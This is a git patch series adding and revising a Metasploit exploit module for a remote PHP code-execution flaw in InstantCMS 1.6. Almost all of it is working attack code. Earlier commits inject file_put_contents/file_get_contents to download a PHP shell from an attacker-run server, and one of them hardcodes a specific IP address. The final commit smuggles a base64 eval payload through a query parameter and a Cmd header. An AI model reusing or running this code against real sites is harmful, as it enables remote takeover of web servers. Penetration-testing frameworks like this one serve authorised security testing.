From 4cd08966ff5985b1d588311f465cc38f10933e65 Mon Sep 17 00:00:00 2001 From: Ricardo Almeida Date: Mon, 1 Jul 2013 11:44:47 -0400 Subject: [PATCH 1/5] added InstantCMS 1.6 PHP Code Injection --- .../exploits/unix/webapp/instantcms_exec.rb | 128 ++++++++++++++++++ 1 file changed, 128 insertions(+) create mode 100755 modules/exploits/unix/webapp/instantcms_exec.rb diff --git a/modules/exploits/unix/webapp/instantcms_exec.rb b/modules/exploits/unix/webapp/instantcms_exec.rb new file mode 100755 index 0000000000..2008a08728 --- /dev/null +++ b/modules/exploits/unix/webapp/instantcms_exec.rb @@ -0,0 +1,128 @@ +require 'msf/core' + + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'InstantCMS <= 1.6 remote PHP code execution', + 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the InstantCMS versions <= 1.6 }, + 'Author' => [ 'Ricardo Jorge Borges de Almeida or ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html'], + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'Jun 26 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('URI', [true, "URI path", "/"]), + ], self.class) + + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['URI']), + 'vars_get' => + { + 'view' => 'search', + 'query' => '${echo phpinfo()}' + } + }, 25) + + if res + if res.body.match(/Build Date/) + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end + else + return Exploit::CheckCode::Unknown + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + end + + def on_request_uri(cli, request) + print_status("on_request_uri called: #{request.inspect}") + #print_status(payload.encoded.to_s) + send_response(cli, '', { 'Content-Type' => 'text/plain' }) + end + + def exploit + + return if not check == Exploit::CheckCode::Vulnerable + + begin + fname = Rex::Text.rand_text_alpha(3) + ".php" + resource_uri = '/' + Rex::Text.rand_text_alpha(3) + + sploit_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}" + + sploit_fname = fname.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') + shell_uri = sploit_uri.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') + + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + + print_status("Creating the shell on http://#{rhost}:#{rport}/includes/#{fname}") + + + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['URI']), + 'vars_get' => + { + 'view' => 'search', + 'query' => '${echo file_put_contents(chr(105).chr(110).chr(99).chr(108).chr(117).chr(100).chr(101).chr(115).chr(47).'+sploit_fname+',file_get_contents('+shell_uri+'))}' + } + }) + + if res + if res.code == 200 + print_status("Shell created successfully.") + else + fail_with(Exploit::Failure::Unknown, "The server returned: #{res.code} #{res.message} - Failed to upload the shell.") + end + else + fail_with(Exploit::Failure::Unknown, 'No response from the server.') + end + + + + res = send_request_raw({ + 'uri' => normalize_uri(datastore['URI'], "includes", fname), + }) + + + if res + if res.code == 200 + print_status("Requesting the reverse shell.") + else + fail_with(Exploit::Failure::Unknown, "The server returned: #{res.code} #{res.message} - Failed to request the reverse shell.") + end + else + fail_with(Exploit::Failure::Unknown, 'No response from the server.') + end + + + stop_service + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + end + end +end From 760133d8780588454324d74880f7a6e784efec31 Mon Sep 17 00:00:00 2001 From: Ricardo Almeida Date: Mon, 1 Jul 2013 12:04:03 -0400 Subject: [PATCH 2/5] Error on line 60 --- modules/exploits/unix/webapp/instantcms_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/instantcms_exec.rb b/modules/exploits/unix/webapp/instantcms_exec.rb index 2008a08728..6ffaea9e40 100755 --- a/modules/exploits/unix/webapp/instantcms_exec.rb +++ b/modules/exploits/unix/webapp/instantcms_exec.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote def on_request_uri(cli, request) print_status("on_request_uri called: #{request.inspect}") #print_status(payload.encoded.to_s) - send_response(cli, '', { 'Content-Type' => 'text/plain' }) + send_response(cli, ' 'text/plain' }) end def exploit From dafa333e572d94aeae60790071ea5df4e829b95f Mon Sep 17 00:00:00 2001 From: Ricardo Almeida Date: Mon, 1 Jul 2013 22:03:37 +0100 Subject: [PATCH 3/5] Update instantcms_exec.rb --- modules/exploits/unix/webapp/instantcms_exec.rb | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/webapp/instantcms_exec.rb b/modules/exploits/unix/webapp/instantcms_exec.rb index 6ffaea9e40..1fb3db5ff7 100755 --- a/modules/exploits/unix/webapp/instantcms_exec.rb +++ b/modules/exploits/unix/webapp/instantcms_exec.rb @@ -56,8 +56,8 @@ class Metasploit3 < Msf::Exploit::Remote def on_request_uri(cli, request) print_status("on_request_uri called: #{request.inspect}") - #print_status(payload.encoded.to_s) - send_response(cli, ' 'text/plain' }) + send_response(cli, payload.encoded) + #send_response(cli, payload.encoded , { 'Content-Type' => 'text/plain' }) end def exploit @@ -68,7 +68,9 @@ class Metasploit3 < Msf::Exploit::Remote fname = Rex::Text.rand_text_alpha(3) + ".php" resource_uri = '/' + Rex::Text.rand_text_alpha(3) - sploit_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}" + sploit_uri = "http://89.154.97.12:#{datastore['SRVPORT']}#{resource_uri}" + #sploit_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}" + sploit_fname = fname.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') shell_uri = sploit_uri.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') @@ -92,14 +94,19 @@ class Metasploit3 < Msf::Exploit::Remote } }) + +File.open('/root/Desktop/metasploit1.html', 'w') { |fd| fd.write(res.body) } + if res if res.code == 200 print_status("Shell created successfully.") else fail_with(Exploit::Failure::Unknown, "The server returned: #{res.code} #{res.message} - Failed to upload the shell.") + stop_service end else fail_with(Exploit::Failure::Unknown, 'No response from the server.') + stop_service end @@ -114,12 +121,16 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Requesting the reverse shell.") else fail_with(Exploit::Failure::Unknown, "The server returned: #{res.code} #{res.message} - Failed to request the reverse shell.") + stop_service end else fail_with(Exploit::Failure::Unknown, 'No response from the server.') + stop_service end +File.open('/root/Desktop/metasploit12.html', 'w') { |fd| fd.write(res.body) } + stop_service rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout From dd876008f95037723313e6493899703788f6222f Mon Sep 17 00:00:00 2001 From: Ricardo Almeida Date: Tue, 2 Jul 2013 17:26:14 +0100 Subject: [PATCH 4/5] Update instantcms_exec.rb --- .../exploits/unix/webapp/instantcms_exec.rb | 59 ++++++++----------- 1 file changed, 23 insertions(+), 36 deletions(-) diff --git a/modules/exploits/unix/webapp/instantcms_exec.rb b/modules/exploits/unix/webapp/instantcms_exec.rb index 1fb3db5ff7..fc6458225a 100755 --- a/modules/exploits/unix/webapp/instantcms_exec.rb +++ b/modules/exploits/unix/webapp/instantcms_exec.rb @@ -3,32 +3,31 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, - 'Name' => 'InstantCMS <= 1.6 remote PHP code execution', - 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the InstantCMS versions <= 1.6 }, - 'Author' => [ 'Ricardo Jorge Borges de Almeida or ' # Metasploit module + 'Name' => 'InstantCMS 1.6 Remote PHP Code Execution', + 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the InstantCMS versions 1.6 }, + 'Author' => [ 'Ricardo Jorge Borges de Almeida ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html'], ], - 'Privileged' => false, - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, - 'Targets' => [[ 'Automatic', { }]], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Jun 26 2013', - 'DefaultTarget' => 0)) + 'DefaultTarget' => 0)) register_options( [ - OptString.new('URI', [true, "URI path", "/"]), + OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"]), ], self.class) - end def check @@ -39,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'view' => 'search', 'query' => '${echo phpinfo()}' } - }, 25) + }) if res if res.body.match(/Build Date/) @@ -55,9 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote end def on_request_uri(cli, request) - print_status("on_request_uri called: #{request.inspect}") + #print_status("on_request_uri called: #{request.inspect}") send_response(cli, payload.encoded) - #send_response(cli, payload.encoded , { 'Content-Type' => 'text/plain' }) end def exploit @@ -68,23 +66,21 @@ class Metasploit3 < Msf::Exploit::Remote fname = Rex::Text.rand_text_alpha(3) + ".php" resource_uri = '/' + Rex::Text.rand_text_alpha(3) - sploit_uri = "http://89.154.97.12:#{datastore['SRVPORT']}#{resource_uri}" - #sploit_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}" - + sploit_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}" sploit_fname = fname.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') shell_uri = sploit_uri.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') - start_service({'Uri' => { - 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) + exec = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') + + start_service({ + 'Uri' => { + 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, - 'Path' => resource_uri - }}) + 'Path' => resource_uri }}) print_status("Creating the shell on http://#{rhost}:#{rport}/includes/#{fname}") - - res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), 'vars_get' => @@ -94,10 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - -File.open('/root/Desktop/metasploit1.html', 'w') { |fd| fd.write(res.body) } - - if res + if res if res.code == 200 print_status("Shell created successfully.") else @@ -109,16 +102,13 @@ File.open('/root/Desktop/metasploit1.html', 'w') { |fd| fd.write(res.body) } stop_service end - - res = send_request_raw({ 'uri' => normalize_uri(datastore['URI'], "includes", fname), }) - - if res + if res if res.code == 200 - print_status("Requesting the reverse shell.") + print_status("Requesting the shell.") else fail_with(Exploit::Failure::Unknown, "The server returned: #{res.code} #{res.message} - Failed to request the reverse shell.") stop_service @@ -128,12 +118,9 @@ File.open('/root/Desktop/metasploit1.html', 'w') { |fd| fd.write(res.body) } stop_service end - -File.open('/root/Desktop/metasploit12.html', 'w') { |fd| fd.write(res.body) } - stop_service - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue Exploit::CheckCode::Unknown end end end From c07e65d16eb07353d3c937b2b4ff5883d939b8e4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 3 Jul 2013 11:37:57 -0500 Subject: [PATCH 5/5] Improve and clean instantcms_exec --- .../exploits/unix/webapp/instantcms_exec.rb | 131 ++++++------------ 1 file changed, 46 insertions(+), 85 deletions(-) diff --git a/modules/exploits/unix/webapp/instantcms_exec.rb b/modules/exploits/unix/webapp/instantcms_exec.rb index fc6458225a..a59febb253 100755 --- a/modules/exploits/unix/webapp/instantcms_exec.rb +++ b/modules/exploits/unix/webapp/instantcms_exec.rb @@ -3,36 +3,48 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, - 'Name' => 'InstantCMS 1.6 Remote PHP Code Execution', - 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the InstantCMS versions 1.6 }, - 'Author' => [ 'Ricardo Jorge Borges de Almeida ' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => + 'Name' => 'InstantCMS 1.6 Remote PHP Code Execution', + 'Description' => %q{ + This module exploits an arbitrary php command execution vulnerability, because of a + dangerous use of eval(), in InstantCMS versions 1.6. + }, + 'Author' => [ - ['URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html'], + 'AkaStep', # Vulnerability discovery and PoC + 'Ricardo Jorge Borges de Almeida ', # Metasploit module + 'juan vazquez' # Metasploit module ], - 'Privileged' => false, - 'Platform' => ['php'], - 'Arch' => ARCH_PHP, - 'Targets' => [[ 'Automatic', { }]], - 'DisclosureDate' => 'Jun 26 2013', - 'DefaultTarget' => 0)) - - register_options( + 'License' => MSF_LICENSE, + 'References' => [ - OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"]), - ], self.class) + [ 'BID', '60816' ], + [ 'URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html' ] + ], + 'Privileged' => false, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'InstantCMS 1.6', { } ], + ], + 'DisclosureDate' => 'Jun 26 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"]) + ], self.class) end def check res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']), + 'uri' => normalize_uri(target_uri.to_s), 'vars_get' => { 'view' => 'search', @@ -50,77 +62,26 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - end - - def on_request_uri(cli, request) - #print_status("on_request_uri called: #{request.inspect}") - send_response(cli, payload.encoded) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + return Exploit::CheckCode::Unknown end def exploit - return if not check == Exploit::CheckCode::Vulnerable + print_status("Executing payload...") - begin - fname = Rex::Text.rand_text_alpha(3) + ".php" - resource_uri = '/' + Rex::Text.rand_text_alpha(3) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.to_s), + 'vars_get' => + { + 'view' => 'search', + 'query' => rand_text_alpha(3 + rand(3)), + 'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//" + }, + 'headers' => { + 'Cmd' => Rex::Text.encode_base64(payload.encoded) + } + }) - sploit_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}" - - sploit_fname = fname.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') - shell_uri = sploit_uri.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') - - exec = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.') - - start_service({ - 'Uri' => { - 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) - }, - 'Path' => resource_uri }}) - - print_status("Creating the shell on http://#{rhost}:#{rport}/includes/#{fname}") - - res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']), - 'vars_get' => - { - 'view' => 'search', - 'query' => '${echo file_put_contents(chr(105).chr(110).chr(99).chr(108).chr(117).chr(100).chr(101).chr(115).chr(47).'+sploit_fname+',file_get_contents('+shell_uri+'))}' - } - }) - - if res - if res.code == 200 - print_status("Shell created successfully.") - else - fail_with(Exploit::Failure::Unknown, "The server returned: #{res.code} #{res.message} - Failed to upload the shell.") - stop_service - end - else - fail_with(Exploit::Failure::Unknown, 'No response from the server.') - stop_service - end - - res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI'], "includes", fname), - }) - - if res - if res.code == 200 - print_status("Requesting the shell.") - else - fail_with(Exploit::Failure::Unknown, "The server returned: #{res.code} #{res.message} - Failed to request the reverse shell.") - stop_service - end - else - fail_with(Exploit::Failure::Unknown, 'No response from the server.') - stop_service - end - - stop_service - - rescue Exploit::CheckCode::Unknown - end end end